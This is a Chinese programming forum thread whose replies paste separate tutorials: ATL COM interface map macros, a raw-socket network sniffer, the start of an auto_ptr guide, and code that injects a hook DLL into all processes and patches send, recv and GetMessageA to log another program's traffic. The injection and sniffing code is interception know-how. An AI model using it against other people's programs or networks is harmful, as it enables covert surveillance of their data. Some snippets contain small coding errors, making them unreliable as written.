注意变量bBlind: BOOL bBlind = (pEntries->piid == NULL); 
若没指定接口ID,也继续执行后面的操作,可见即使并非我们所需要的IID,也会执行_Delegate. 
从上可见,这个宏适用于一个聚集组件有多个接口的情况,这样只要是查询这个聚集组件的接口,就会进入_Delegate函数。但要特别注意的是这个宏的位置!! 比如若是这样的顺序: BEGIN_COM_MAP 
COM_INTERFACE_ENTRY_AGGREGATE_BLIND(m_pUnkAggBlind.p) 
COM_INTERFACE_ENTRY(IOuter) 
END_COM_MAP 当查询IOuter接口时就会出错!!! 
七、COM_INTERFACE_ENTRY_AUTOAGGREGATE(iid, punk, clsid) 参ATL例程COMMAP 先看看这个宏的定义: #define COM_INTERFACE_ENTRY_AUTOAGGREGATE(iid, punk, clsid)\ 
{&iid,\ 
(DWORD)&_CComCacheData<\ 
CComAggregateCreator< _ComMapClass, &clsid >,\ 
(DWORD)offsetof(_ComMapClass, punk)\ 
>::data,\ 
_Cache}, 先看看它的典型用法: 
class CAutoAgg : 
public IDispatchImpl< IAutoAgg, &IID_IAutoAgg, &LIBID_AGGREGLib >, 
public ISupportErrorInfo, 
public CComObjectRoot, 
public CComCoClass< CAutoAgg,&CLSID_CAutoAgg > 

...... 
}; 与一般的组件并无二样。 
class COuter : 
public CChainBase, 
public IDispatchImpl, 
public CComCoClass 

BEGIN_COM_MAP(COuter) 
COM_INTERFACE_ENTRY_AUTOAGGREGATE(IID_IAutoAgg, m_pUnkAutoAgg.p, CLSID_CAutoAgg) 
END_COM_MAP() 

CComPtr m_pUnkAutoAgg; 
}; 与宏COM_INTERFACE_ENTRY_AGGREGRATE(_)不同,COuter不用在FinalConstruct中创建聚集组件。外部组件会自动创建聚集组件!!! 
1。 template < class Creator, DWORD dwVar >
_ATL_CACHEDATA _CComCacheData< Creator, dwVar >::data = {dwVar, Creator::Creat eInstance}; 2。 static HRESULT WINAPI _Cache(void* pv, REFIID iid, void** ppvObject, DWORD dw) 

HRESULT hRes = E_NOINTERFACE; 
_ATL_CACHEDATA* pcd = (_ATL_CACHEDATA*)dw; 
IUnknown** pp = (IUnknown**)((DWORD)pv + pcd->dwOffsetVar); 
if (*pp == NULL) hRes = pcd->pFunc(pv, IID_IUnknown, (void**)pp); 
if (*pp != NULL) hRes = (*pp)->QueryInterface(iid, ppvObject); 
return hRes; 
}3。 template < class T, const CLSID* pclsid >
class CComAggregateCreator 

public: 
static HRESULT WINAPI CreateInstance(void* pv, REFIID/*riid*/, LPVOID* ppv ) 
{
ATLASSERT(*ppv == NULL); 
ATLASSERT(pv != NULL); 
T* p = (T*) pv; 
return CoCreateInstance(*pclsid, p->GetControllingUnknown(), CLSCTX_ALL, IID_IUnknown, ppv); 

}; 因为_Cache,_CComCacheData,CComAggregateCreator这几个类和函数我们已经在前面见过或者见过类似的,所以就不再多讲了。总之我们可以看到,若m_pUnkAutoAgg.p不为空则直接查询,否则创建聚集组件。
与宏COM_INTERFACE_ENTRY_AGGREGATE相比,这个宏似乎更好一些,仅当需要时才会创建,使用更简单。 
八、COM_INTERFACE_ENTRY_AUTOAGGREGATE_BLIND( punk, clsid ) 参ATL例程COMMAP 看看它的定义: #define COM_INTERFACE_ENTRY_AUTOAGGREGATE_BLIND(punk, clsid)\ 
{NULL,\ 
(DWORD)&_CComCacheData<\ 
CComAggregateCreator< _ComMapClass, &clsid >,\ 
(DWORD)offsetof(_ComMapClass, punk)\ 
>::data,\ 
_Cache}, 

解决方案 »

  1.   

    呵呵,这个宏综合了 COM_INTERFACE_ENTRY_AUTOAGGREGATE() 和 COM_INTERFACE_ENTRY_AGGREGATE_BLIND() 的特点,既可以自动创建也可以很方便地查询聚集组件中的多个接口。不再赘述!! 
    九、COM_INTERFACE_ENTRY_CHAIN(classname) 参ATL例程COMMAP 先看看它的定义: #define COM_INTERFACE_ENTRY_CHAIN(classname)\ 
    {NULL,\ 
    (DWORD)&_CComChainData< classname, _ComMapClass >::data,\ 
    _Chain}, 典型用法: class CChain : 
    public IDispatchImpl< IChain, &IID_IChain, &LIBID_COMMAPLib >, 
    public ISupportErrorInfo, 
    public CComObjectRoot,
    public CComCoClass< CChain,&CLSID_CChain >

    ........ 
    }; 它与一般的组件无异。 
    class COuter : 
    public CChain, 
    .... 
    {
    BEGIN_COM_MAP(COuter) 
    ...... 
    COM_INTERFACE_ENTRY_CHAIN(CChain) 
    END_COM_MAP() 
    }; 我们对查询的过程已经很熟悉了,可以直接来看看_Chain的功能。_Chain()是CComObjectRootBase的成员函数: 
    static HRESULT WINAPI _Chain(void* pv, REFIID iid, void** ppvObject,DWORD dw) 

    _ATL_CHAINDATA* pcd = (_ATL_CHAINDATA*)dw; 
    void* p = (void*)((DWORD)pv + pcd->dwOffset); 
    return InternalQueryInterface(p, pcd->pFunc(), iid, ppvObject); 
    } struct _ATL_CHAINDATA 
    {
    DWORD dwOffset; 
    const _ATL_INTMAP_ENTRY* (WINAPI *pFunc)(); 
    }; 我们再看看宏定义中的dw部分: 
    template < class base, class derived >
    _ATL_CHAINDATA _CComChainData< base, derived >::data = 
    {offsetofclass(base, derived), base::_GetEntries}; 基本上我们已经看懂是怎么回事了,void *p将得到基类的指针,InteralQueryInterface 我们已经很熟悉了,_Chain把基类的指针以及基类的接口映射宏传给它,实际上是查询基类的接口!!! 
    一般情况下把这个宏放在BEGIN_COM_MAP和END_COM_MAP之间的最后面,这表示只有在当前类中查不到接口时才去查父类的接口。不过也经常把它放在第一位,这时就是先去查父类接口,只有父类没有实现这种接口时才查自己。在ATL中组件是以多重继承的方式实现的,ATL定义了很多类实现了一些常用的接口,这些类经常被做为组件的基类,所以这个宏被大量使用。 所有重要的宏我们都已经讲过了,剩下的都是些很简单的宏了.呵呵,还是把它们都罗列一下,善始善终嘛. 十、COM_INTERFACE_ENTRY_IID(iid, x) #define COM_INTERFACE_ENTRY_IID(iid, x)\ 
    {&iid,\ 
    offsetofclass(x, _ComMapClass),\ 
    _ATL_SIMPLEMAPENTRY}, 十一、COM_INTERFACE_ENTRY2_IID(iid, x, x2) #define COM_INTERFACE_ENTRY2_IID(iid, x, x2)\ 
    {&iid,\ 
    (DWORD)((x*)(x2*)((_ComMapClass*)8))-8,\ 
    _ATL_SIMPLEMAPENTRY}, 从定义上看这两个宏与COM_INTERFACE_ENTRY()和COM_INTERFACE_ENTRY2()相比,都只是多了一项"iid"。没有别的好处,只不过由用户明确指出接口IID,而不用系统根据接口名字去转换了。 
    十二、COM_INTERFACE_ENTRY_FUNC( iid, dw, func ) #define COM_INTERFACE_ENTRY_FUNC(iid, dw, func)\ 
    {&iid, \ 
    dw, \ 
    func}, 还记得AtlInternalQueryInterface()中的代码吗?如果在接口映射表中找到了我们要找的接口,并且这个接口不是_ATL_SIMPLEENTRY型的,则执行宏定义中的指定的函数。
    这个宏就给我们提供了自己编写处理函数的功能。这个函数必须是如下定义: 
    HRESULT WINAPI func(void* pv, REFIID riid, LPVOID* ppv, DWORD dw); 
    当AtlInternalQueryInterface调用func时,会传进相关的信息。pv是类对象的指针,riid是要查询的接口,ppv是要返回查询得到的接口指针,dw是在宏定义中指定的参数。另外如果函数中不打算返回接口指针,则应把ppv赋为NULL,并返回S_FALSE或 E_NOINTERFACE。返回S_FALSE刚会继续查找下去,若返回E_NOINTERFACE则会终止查询。若返回接口指针,则应返回S_OK. 
    十三、COM_INTERFACE_ENTRY_FUNC_BLIND(dw, func) #define COM_INTERFACE_ENTRY_FUNC_BLIND(dw, func)\
    {NULL, \ 
    dw, \ 
    func},至于_BLIND类型的特点可以看前面几节。 
    十四、COM_INTERFACE_ENTRY_NOINTERFACE(x) #define COM_INTERFACE_ENTRY_NOINTERFACE(x)\
    {&_ATL_IIDOF(x), \
    NULL, \
    _NoInterface},_NoInterface是CComObjectRootBase的成员函数,看看它的定义: 
    static HRESULT WINAPI _NoInterface(...)
    {
    return E_NOINTERFACE;
    }原来它只是返回E_NOINTERFACE,并且将终止查询。
    哈哈,看来是不想让别人查到这个接口啊!!! 
    十五、COM_INTERFACE_ENTRY_BREAK(x) #define COM_INTERFACE_ENTRY_BREAK(x)\
    {&_ATL_IIDOF(x), \
    NULL, \
    _Break},_Break也是CComObjectRootBase的成员函数,看看它的定义: 
    static HRESULT WINAPI _Break(...)

    iid;
    _ATLDUMPIID(iid, _T("Break due to QI for interface "), S_OK); 
    DebugBreak();
    return S_FALSE;
    }如果查到这个接口将调用DebugBreak(),并返回S_FALSE,继续查询下去。DebugBreak()是什么效果大家自己试试吧,一定很熟悉的,呵呵。 
        至此全部十五个接口映射宏我们都已经讲完了,唉,真是不容易,特别是前面几个宏跟踪起来很麻烦。因为文本方式的限制,所以很多东西不容易表达清楚。有些叫法也是我自己这么叫的,可能与别人的习惯不同。没办法,大家将就将就了,呵呵。 
    ---全文完---2000/3/31凌晨 
    补注:关于ATL中类厂的实现问题 
    1.当创建一个组件时,必须先创建它的类厂,再调用类厂的CreateInstance()来创建组件.
      在CComCoClass中定义了宏DECLARE_CLASSFACTORY(),包含了组件的类厂对象.
      _ClassFactoryCreatorClass,它的CreateInstance是用来创建组件的类厂的.也就是 
      CComCreator< ccomobjectcached< CCOMCLASSFACTORY > >::CreateInstance();
    2.在CComCoClass中也定义了宏DECLARE_AGGREGATABLE(),包含了对象_CreatorClass,
      这个对象实际上就是我们要创建的组件对象(具体定义看详解一),它也有一个 CreateInstance,这个函数是用来创建这个组件的!!
      当创建组件的类厂时,会把这个函数的地址告诉给类厂。
    3.当我们成功的获得类厂对象后(此时类厂已经创建完毕),我们然后将调用类厂的 CreateInstance(),在这个函数中,
      会调用组件的CreateInstance从而创建组件。
    4.所以,可见这里总共牵扯到三个CreateInstance:
      (1)_ClassFactoryCreatorClass::CreateInstance() //用于创建组件的类厂对象
      (2)CComClassFactory::CreateInstance() //用于调用_CreatorClass::CreateInstance 
      (3)_CreatorClass::CreateInstance() //用于创建组件
      

  2.   

    利用HOOK拦截封包原理 截获API是个很有用的东西,比如你想分析一下别人的程序是怎样工作的。这里我介绍一下一种我自己试验通过的方法。 
    首先,我们必须设法把自己的代码放到目标程序的进程空间里去。Windows Hook可以帮我们实现这一点。SetWindowsHookEx的声明如下: 
    HHOOK SetWindowsHookEx( 
    int idHook, // hook type 
    HOOKPROC lpfn, // hook procedure 
    HINSTANCE hMod, // handle to application instance 
    DWORD dwThreadId // thread identifier 
    ); 
    具体的参数含义可以翻阅msdn,没有msdn可谓寸步难行。 
    这里Hook本身的功能并不重要,我们使用它的目的仅仅只是为了能够让Windows把我们的代码植入别的进程里去。hook Type我们任选一种即可,只要保证是目标程序肯定会调用到就行,这里我用的是WH_CALLWNDPROC。lpfn和hMod分别指向我们的钩子代码及其所在的dll,dwThreadId设为0,表示对所有系统内的线程都挂上这样一个hook,这样我们才能把代码放到别的进程里去。 之后,我们的代码就已经进入了系统内的所有进程空间了。必须注意的是,我们只需要截获我们所关心的目标程序的调用,因此还必须区分一下进程号。我们自己的钩子函数中,第一次运行将进行最重要的API重定向的工作。也就是通过将所需要截获的API的开头几个字节改为一个跳转指令,使其跳转到我们的API中来。这是最关键的部分。这里我想截三个调用,ws2_32.dll中的send和recv、user32.dll中的GetMessageA。 DWORD dwCurrentPID = 0; 
    HHOOK hOldHook = NULL; 
    DWORD pSend = 0; 
    DWORD pRecv = 0; 
    GETMESSAGE pGetMessage = NULL; BYTE btNewBytes[8] = { 0x0B8, 0x0, 0x0, 0x40, 0x0, 0x0FF, 0x0E0, 0 }; 
    DWORD dwOldBytes[3][2]; HANDLE hDebug = INVALID_HANDLE_value; LRESULT CALLBACK CallWndProc( int nCode, WPARAM wParam, LPARAM lParam ) 

    DWORD dwSize; 
    DWORD dwPIDWatched; 
    HMODULE hLib; if( dwCurrentPID == 0 ) 

    dwCurrentPID = GetCurrentProcessId(); 
    HWND hwndMainHook; 
    hwndMainHook = ::FindWindow( 0, "MainHook" ); 
    dwPIDWatched = ::SendMessage( hwndMainHook, (WM_USER+100), 0, 0 ); 
    hOldHook = (HHOOK)::SendMessage( hwndMainHook, (WM_USER+101), 0, 0 ); if( dwCurrentPID == dwPIDWatched ) 

    hLib = LoadLibrary( "ws2_32.dll" ); 
    pSend = (DWORD)GetProcAddress( hLib, "send" ); 
    pRecv = (DWORD)GetProcAddress( hLib, "recv" ); ::ReadProcessMemory( INVALID_HANDLE_value, (void *)pSend, (void *)dwOldBytes[0], sizeof(DWORD)*2, &dwSize ); 
    *(DWORD *)( btNewBytes + 1 ) = (DWORD)new_send; 
    ::WriteProcessMemory( INVALID_HANDLE_value, (void *)pSend, (void *)btNewBytes, sizeof(DWORD)*2, &dwSize ); ::ReadProcessMemory( INVALID_HANDLE_value, (void *)pRecv, (void *)dwOldBytes[1], sizeof(DWORD)*2, &dwSize ); 
    *(DWORD *)( btNewBytes + 1 ) = (DWORD)new_recv; 
    ::WriteProcessMemory( INVALID_HANDLE_value, (void *)pRecv, (void *)btNewBytes, sizeof(DWORD)*2, &dwSize ); hLib = LoadLibrary( "user32.dll" ); 
    pGetMessage = (GETMESSAGE)GetProcAddress( hLib, "GetMessageA" ); 
    ::ReadProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage, (void *)dwOldBytes[2], sizeof(DWORD)*2, &dwSize ); 
    *(DWORD *)( btNewBytes + 1 ) = (DWORD)new_GetMessage; 
    ::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage, (void *)btNewBytes, sizeof(DWORD)*2, &dwSize ); hDebug = ::CreateFile( "C:\\Trace.log", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ); 

    } if( hOldHook != NULL ) 

    return CallNextHookEx( hOldHook, nCode, wParam, lParam ); 
    } return 0; 
    } 上面的钩子函数,只有第一次运行时有用,就是把三个函数的首8字节修改一下(实际上只需要7个)。btNewBytes中的指令实际就是 
    mov eax, 0x400000 
    jmp eax 
    这里的0x400000就是新的函数的地址,比如new_recv/new_send/new_GetMessage,此时,偷梁换柱已经完成。再看看我们的函数中都干了些什么。以GetMessageA为例: BOOL _stdcall new_GetMessage( LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax ) 

    DWORD dwSize; 
    char szTemp[256]; 
    BOOL r = false; //Watch here before it's executed. 
    sprintf( szTemp, "Before GetMessage : HWND 0x%8.8X, msgMin 0x%8.8X, msgMax 0x%8.8x \r\n", hWnd, wMsgFilterMin, wMsgFilterMax ); 
    ::WriteFile( hDebug, szTemp, strlen(szTemp), &dwSize, 0 ); 
    //Watch over // restore it at first 
    ::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage, (void *)dwOldBytes[2], sizeof(DWORD)*2, &dwSize ); // execute it 
    r = pGetMessage( lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax ); // hook it again 
    *(DWORD *)( btNewBytes + 1 ) = (DWORD)new_GetMessage; 
    ::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage, (void *)btNewBytes, sizeof(DWORD)*2, &dwSize ); //Watch here after it's executed 
    sprintf( szTemp, "Result of GetMessage is %d.\r\n", r ); 
    ::WriteFile( hDebug, szTemp, strlen( szTemp ), &dwSize, 0 ); 
    if( r ) 

    sprintf( szTemp, "Msg : HWND 0x%8.8X, MSG 0x%8.8x, wParam 0x%8.8X, lParam 0x%8.8X\r\nTime 0x%8.8X, X %d, Y %d\r\n", 
    lpMsg->hwnd, lpMsg->message, 
    lpMsg->wParam, lpMsg->lParam, lpMsg->time, 
    lpMsg->pt.x, lpMsg->pt.y ); 
    ::WriteFile( hDebug, szTemp, strlen( szTemp ), &dwSize, 0 ); 

    strcpy( szTemp, "\r\n" ); 
    ::WriteFile( hDebug, szTemp, strlen( szTemp ), &dwSize, 0 ); //Watch over return r; 
    } 先将截获下来的参数,写入到一个log文件中,以便分析。然后恢复原先保留下来的GetMessageA的首8字节,然后执行真正的GetMessageA调用,完毕后再将执行结果也写入log文件,然后将GetMessageA的执行结果返回给调用者。 
    整个截获的过程就是这样。你可以把其中的写log部分改成你自己想要的操作。这里有个不足的地方是,截获动作是不能够并发进行的,如果目标进程是多线程的,就会有问题。解决办法是,可以在每次new_GetMessage中加入一个CriticalSection的锁和解锁,以使调用变为串行进行
     
      

  3.   

    以原始套接字的方式 截获流经本机网卡的IP数据包 
       从事网络安全的技术人员和相当一部分准黑客(指那些使用现成的黑客软件进行攻击而不是根据需要去自己编写代码的人)都一定不会对网络嗅探器(sniffer)感到陌生,网络嗅探器无论是在网络安全还是在黑客攻击方面均扮演了很重要的角色。通过使用网络嗅探器可以把网卡设置于混杂模式,并可实现对网络上传输的数据包的捕获与分析。此分析结果可供网络安全分析之用,但如为黑客所利用也可以为其发动进一步的攻击提供有价值的信息。可见,嗅探器实际是一把双刃剑。 虽然网络嗅探器技术被黑客利用后会对网络安全构成一定的威胁,但嗅探器本身的危害并不是很大,主要是用来为其他黑客软件提供网络情报,真正的攻击主要是由其他黑软来完成的。而在网络安全方面,网络嗅探手段可以有效地探测在网络上传输的数据包信息,通过对这些信息的分析利用是有助于网络安全维护的。权衡利弊,有必要对网络嗅探器的实现原理进行介绍。 
     
    文章正文 
     
      嗅探器设计原理   嗅探器作为一种网络通讯程序,也是通过对网卡的编程来实现网络通讯的,对网卡的编程也是使用通常的套接字(socket)方式来进行。但是,通常的套接字程序只能响应与自己硬件地址相匹配的或是以广播形式发出的数据帧,对于其他形式的数据帧比如已到达网络接口但却不是发给此地址的数据帧,网络接口在验证投递地址并非自身地址之后将不引起响应,也就是说应用程序无法收取到达的数据包。而网络嗅探器的目的恰恰在于从网卡接收所有经过它的数据包,这些数据包即可以是发给它的也可以是发往别处的。显然,要达到此目的就不能再让网卡按通常的正常模式工作,而必须将其设置为混杂模式。  具体到编程实现上,这种对网卡混杂模式的设置是通过原始套接字(raw socket)来实现的,这也有别于通常经常使用的数据流套接字和数据报套接字。在创建了原始套接字后,需要通过setsockopt()函数来设置IP头操作选项,然后再通过bind()函数将原始套接字绑定到本地网卡。为了让原始套接字能接受所有的数据,还需要通过ioctlsocket()来进行设置,而且还可以指定是否亲自处理IP头。至此,实际就可以开始对网络数据包进行嗅探了,对数据包的获取仍象流式套接字或数据报套接字那样通过recv()函数来完成。但是与其他两种套接字不同的是,原始套接字此时捕获到的数据包并不仅仅是单纯的数据信息,而是包含有 IP头、 TCP头等信息头的最原始的数据信息,这些信息保留了它在网络传输时的原貌。通过对这些在低层传输的原始信息的分析可以得到有关网络的一些信息。由于这些数据经过了网络层和传输层的打包,因此需要根据其附加的帧头对数据包进行分析。下面先给出结构.数据包的总体结构:数据包 
    IP头 TCP头(或其他信息头) 数据   数据在从应用层到达传输层时,将添加TCP数据段头,或是UDP数据段头。其中UDP数据段头比较简单,由一个8字节的头和数据部分组成,具体格式如下:
    16位 16位 
    源端口 目的端口 
    UDP长度 UDP校验和   而TCP数据头则比较复杂,以20个固定字节开始,在固定头后面还可以有一些长度不固定的可选项,下面给出TCP数据段头的格式组成:
    16位 16位 
    源端口 目的端口 
    顺序号 
    确认号 
    TCP头长 (保留)7位 URG ACK PSH RST SYN FIN 窗口大小 
    校验和 紧急指针 
    可选项(0或更多的32位字) 
    数据(可选项)   对于此TCP数据段头的分析在编程实现中可通过数据结构_TCP来定义:
    typedef struct _TCP{ WORD SrcPort; // 源端口
    WORD DstPort; // 目的端口
    DWORD SeqNum; // 顺序号
    DWORD AckNum; // 确认号
    BYTE DataOff; // TCP头长
    BYTE Flags; // 标志(URG、ACK等)
    WORD Window; // 窗口大小
    WORD Chksum; // 校验和
    WORD UrgPtr; // 紧急指针
    } TCP;
    typedef TCP *LPTCP;
    typedef TCP UNALIGNED * ULPTCP;   在网络层,还要给TCP数据包添加一个IP数据段头以组成IP数据报。IP数据头以大端点机次序传送,从左到右,版本字段的高位字节先传输(SPARC是大端点机;Pentium是小端点机)。如果是小端点机,就要在发送和接收时先行转换然后才能进行传输。IP数据段头格式如下:
    16位 16位 
    版本 IHL 服务类型 总长 
    标识 标志 分段偏移 
    生命期 协议 头校验和 
    源地址 
    目的地址 
    选项(0或更多)   同样,在实际编程中也需要通过一个数据结构来表示此IP数据段头,下面给出此数据结构的定义:
    typedef struct _IP{
    union{ BYTE Version; // 版本
    BYTE HdrLen; // IHL
    };
    BYTE ServiceType; // 服务类型
    WORD TotalLen; // 总长
    WORD ID; // 标识
    union{ WORD Flags; // 标志
    WORD FragOff; // 分段偏移
    };
    BYTE TimeToLive; // 生命期
    BYTE Protocol; // 协议
    WORD HdrChksum; // 头校验和
    DWORD SrcAddr; // 源地址
    DWORD DstAddr; // 目的地址
    BYTE Options; // 选项
    } IP; 
    typedef IP * LPIP;
    typedef IP UNALIGNED * ULPIP;
      在明确了以上几个数据段头的组成结构后,就可以对捕获到的数据包进行分析了。嗅探器的具体实现  根据前面的设计思路,不难写出网络嗅探器的实现代码,下面就给出一个简单的示例,该示例可以捕获到所有经过本地网卡的数据包,并可从中分析出协议、IP源地址、IP目标地址、TCP源端口号、TCP目标端口号以及数据包长度等信息。由于前面已经将程序的设计流程讲述的比较清楚了,因此这里就不在赘述了,下面就结合注释对程序的具体是实现进行讲解,同时为程序流程的清晰起见,去掉了错误检查等保护性代码。主要代码实现清单为:// 检查 Winsock 版本号,WSAData为WSADATA结构对象
    WSAStartup(MAKEWORD(2, 2), &WSAData);
    // 创建原始套接字
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW));
    // 设置IP头操作选项,其中flag 设置为ture,亲自对IP头进行处理
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag));
    // 获取本机名
    gethostname((char*)LocalName, sizeof(LocalName)-1);
    // 获取本地 IP 地址
    pHost = gethostbyname((char*)LocalName));
    // 填充SOCKADDR_IN结构
    addr_in.sin_addr = *(in_addr *)pHost->h_addr_list[0]; //IP
    addr_in.sin_family = AF_INET;
    addr_in.sin_port = htons(57274);
    // 把原始套接字sock 绑定到本地网卡地址上
    bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in));
    // dwValue为输入输出参数,为1时执行,0时取消
    DWORD dwValue = 1; 
    // 设置 SOCK_RAW 为SIO_RCVALL,以便接收所有的IP包。其中SIO_RCVALL
    // 的定义为: #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
    ioctlsocket(sock, SIO_RCVALL, &dwValue);   前面的工作基本上都是对原始套接字进行设置,在将原始套接字设置完毕,使其能按预期目的工作时,就可以通过recv()函数从网卡接收数据了,接收到的原始数据包存放在缓存RecvBuf[]中,缓冲区长度BUFFER_SIZE定义为65535。然后就可以根据前面对IP数据段头、TCP数据段头的结构描述而对捕获的数据包进行分析:while (true)
    {
    // 接收原始数据包信息
    int ret = recv(sock, RecvBuf, BUFFER_SIZE, 0);
    if (ret > 0)
    {
    // 对数据包进行分析,并输出分析结果
    ip = *(IP*)RecvBuf;
    tcp = *(TCP*)(RecvBuf + ip.HdrLen);
    TRACE("协议: %s\r\n",GetProtocolTxt(ip.Protocol));
    TRACE("IP源地址: %s\r\n",inet_ntoa(*(in_addr*)&ip.SrcAddr));
    TRACE("IP目标地址: %s\r\n",inet_ntoa(*(in_addr*)&ip.DstAddr));
    TRACE("TCP源端口号: %d\r\n",tcp.SrcPort);
    TRACE("TCP目标端口号:%d\r\n",tcp.DstPort);
    TRACE("数据包长度: %d\r\n\r\n\r\n",ntohs(ip.TotalLen));
    }
    }   其中,在进行协议分析时,使用了GetProtocolTxt()函数,该函数负责将IP包中的协议(数字标识的)转化为文字输出,该函数实现如下:#define PROTOCOL_STRING_ICMP_TXT "ICMP"
    #define PROTOCOL_STRING_TCP_TXT "TCP"
    #define PROTOCOL_STRING_UDP_TXT "UDP"
    #define PROTOCOL_STRING_SPX_TXT "SPX"
    #define PROTOCOL_STRING_NCP_TXT "NCP"
    #define PROTOCOL_STRING_UNKNOW_TXT "UNKNOW"
    ……
    CString CSnifferDlg::GetProtocolTxt(int Protocol)
    {
    switch (Protocol){
    case IPPROTO_ICMP : //1 /* control message protocol */
    return PROTOCOL_STRING_ICMP_TXT;
    case IPPROTO_TCP : //6 /* tcp */
    return PROTOCOL_STRING_TCP_TXT;
    case IPPROTO_UDP : //17 /* user datagram protocol */
    return PROTOCOL_STRING_UDP_TXT;
    default:
    return PROTOCOL_STRING_UNKNOW_TXT;
    }   最后,为了使程序能成功编译,需要包含头文件winsock2.h和ws2tcpip.h。在本示例中将分析结果用TRACE()宏进行输出,在调试状态下运行,得到的一个分析结果如下:协议: UDP
    IP源地址: 172.168.1.5
    IP目标地址: 172.168.1.255
    TCP源端口号: 16707
    TCP目标端口号:19522
    数据包长度: 78
    ……
    协议: TCP
    IP源地址: 172.168.1.17
    IP目标地址: 172.168.1.1
    TCP源端口号: 19714
    TCP目标端口号:10
    数据包长度: 200
    ……  从分析结果可以看出,此程序完全具备了嗅探器的数据捕获以及对数据包的分析等基本功能。  小结  本文介绍的以原始套接字方式对网络数据进行捕获的方法实现起来比较简单,尤其是不需要编写VxD虚拟设备驱动程序就可以实现抓包,使得其编写过程变的非常简便,但由于捕获到的数据包头不包含有帧信息,因此不能接收到与 IP 同属网络层的其它数据包, 如 ARP数据包、RARP数据包等。在前面给出的示例程序中考虑到安全因素,没有对数据包做进一步的分析,而是仅仅给出了对一般信息的分析方法。通过本文的介绍,可对原始套接字的使用方法以及TCP/IP协议结构原理等知识有一个基本的认识。
      

  4.   

    C++深度探索系列:智能指针(Smart Pointer)  
    一、剖析C++标准库智能指针(std::auto_ptr)
        
        1.Do you Smart Pointer?
        2.std::auto_ptr的设计原理
        3.std::auto_ptr高级使用指南
        4.你是否觉得std::auto_ptr还不够完美?二、C++条件,寻找构造更强大的智能指针(Smart Pointer)的
        策略
        
        1.支持引用记数的多种设计策略
        2.支持处理多种资源
        3.支持Subclassing
        4.支持多线程条件下,线程安全的多种设计策略
        5.其它多种特殊要求下,再构造三、Generic Programming基础技术和Smart Pointer
        1.回首处理资源中的Traits技术
        2.回首多线程支持的设计
    四、COM实现中,Smart Pointer设计原理
    五、著名C++库(标准和非标准)中的Smart Pointer现状---------------------------------------------------------------------
    一、剖析C++标准库智能指针(std::auto_ptr)
        
        1.Do you Smart Pointer?      Smart Pointer,中文名:智能指针, 舶来品?
          不可否认,资源泄露(resource leak)曾经是C++程序的一大噩梦.垃圾回收
          机制(Garbage Collection)一时颇受注目.然而垃圾自动回收机制并不能
          满足内存管理的即时性和可视性,往往使高傲的程序设计者感到不自在.
          况且,C++实现没有引入这种机制.在探索中,C++程序员创造了锋利的
          "Smart Pointer".一定程度上,解决了资源泄露问题.      也许,经常的,你会写这样的代码:
          //x拟为class:
          //            class x{
          //            public:        
          //                   int m_Idata;
          //            public:
          //                   x(int m_PARAMin):m_Idata(m_PARAMin){}
          //                   void print(){ cout<<m_Idata<<endl; }
          //            .....
          //            }
          //
          void fook(){
          x* m_PTRx = new A(m_PARAMin);
          m_PTRx->DoSomething();     //#2
          delete m_PTRx;
          }      是的,这里可能没什么问题.可在复杂、N行、m_PTRclassobj所指对象生命周
          期要求较长的情况下,你能保证你不会忘记delete m_PTRclassobj吗?生活中,
          我们往往不应该有太多的口头保证,我们需要做些真正有用的东西.还有一个
          更敏感的问题:异常.假如在#2方法执行期异常发生,函数执行终止,那么new
          出的对象就会泄露.于是,你可能会说:那么就捕获异常来保证安全性好了.
          你写这样的程式:      void fook(){
          A* m_PTRx = new A(m_PARAMin);
          try{
              m_PTRx->DoSomething();
          }
          catch(..){
              delete m_PTRx;
              throw;
          }
          delete m_PTRx;
          }
          哦!天哪!想象一下,你的系统,是否会象专为捕获异常而设计的.      一天,有人给你建议:"用Smart Pointer,那很安全.".你可以这样重写你的程序:
        
          void fook(){
          auto_ptr<x> m_SMPTRx(new x(m_PARAMin));
          m_SMPTRx->DoSomething();
          }      OK!你不太相信.不用delete吗?
          是的.不用整天提心吊胆的问自己:"我全部delete了吗?",而且比你的delete
          策略更安全.      然后,还有人告诉你,可以这样用呢:
          ok1.
          auto_ptr<x> m_SMPTR1(new x(m_PARAMin)); 
          auto_ptr<x> m_SMPTR2(m_SMPTR1);  //#2
          May be you can code #2 like this :
              auto_ptr<x> m_SMPTR2;
              m_SMPTR2 = m_SMPTR1;      
          ok2.
          auto_ptr<int> m_SMPTR1(new int(32));
          
          ok3.
          auto_ptr<int> m_SMPTR1;
          m_SMPTR1 = auto_ptr<int>(new int(100));
          也可以:
          auto_ptr<int> m_SMPTR1(auto_ptr<int>(new int(100)));
          
          ok4.
          auto_ptr<x> m_SMPTR1(new x(m_PARAMin));
          m_SMPTR1.reset(new x(m_PARAMin1));
          
          ok5.
          auto_ptr<x> m_SMPTR1(new x(m_PARAMin));
          auto_ptr<x> m_SMPTR2(m_SMPTR.release());
          cout<<(*m_SMPTR2).m_Idata<<endl;  
          
          ok6.
          auto_ptr<int> fook(){
          return auto<int>(new int(100));
          }
     
          ok7.............and so on
          
          但不可这样用:
          
          no1.   
          char* chrarray = new char[100];
          strcpy(chrarray,"I am programming.");
          auto_ptr<char*> m_SMPTRchrptr(chrarray);
          //auto_ptr并不可帮你管理数组资源     
           
          no2.
          vector<auto_ptr<x>> m_VECsmptr;
          m_VECsmptr.push_back(auto_ptr<int>(new int(100)));
          //auto_ptr并不适合STL内容.
           
          no3.
          const auto_ptr<x> m_SMPTR1(new x(100));
          auto_ptr<x> m_SMPTR(new x(200));
          
          no4.
          x m_OBJx(300);
          auto_ptr<x> m_SMPTR(&m_OBJx);
          
          no5
          x* m_PTR = new x(100);
          auto_ptr<x> m_SMPTR = m_pTR;
          
          no6..........and so on      预先提及所有权的问题,以便下面带着疑问剖析代码?      power1.
          auto_ptr<x> m_SMPTR1(new x(100));
          auto_ptr<x> m_SMPTR2 = m_SMPTR1;
